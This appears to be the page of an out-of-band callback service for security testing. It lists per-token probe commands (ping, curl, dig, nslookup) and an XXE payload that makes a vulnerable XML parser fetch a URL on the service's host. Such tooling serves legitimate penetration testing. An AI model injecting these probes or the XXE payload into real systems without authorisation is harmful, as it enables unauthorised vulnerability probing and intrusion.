$ ping -c1 -p 00098c753c75afa7b328c3fd8bf17900 unhack.ca
 
$ curl http://unhack.ca/p/098c753c75afa7b328c3fd8bf179
 
$ dig 098c753c75afa7b328c3fd8bf179 @unhack.ca
 
$ dig 098c753c75afa7b328c3fd8bf179.ns.unhack.ca
 
C:\> nslookup 098c753c75afa7b328c3fd8bf179 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/098c753c75afa7b328c3fd8bf179">]>
    <foo>&xxe;</foo>
Waiting for ping...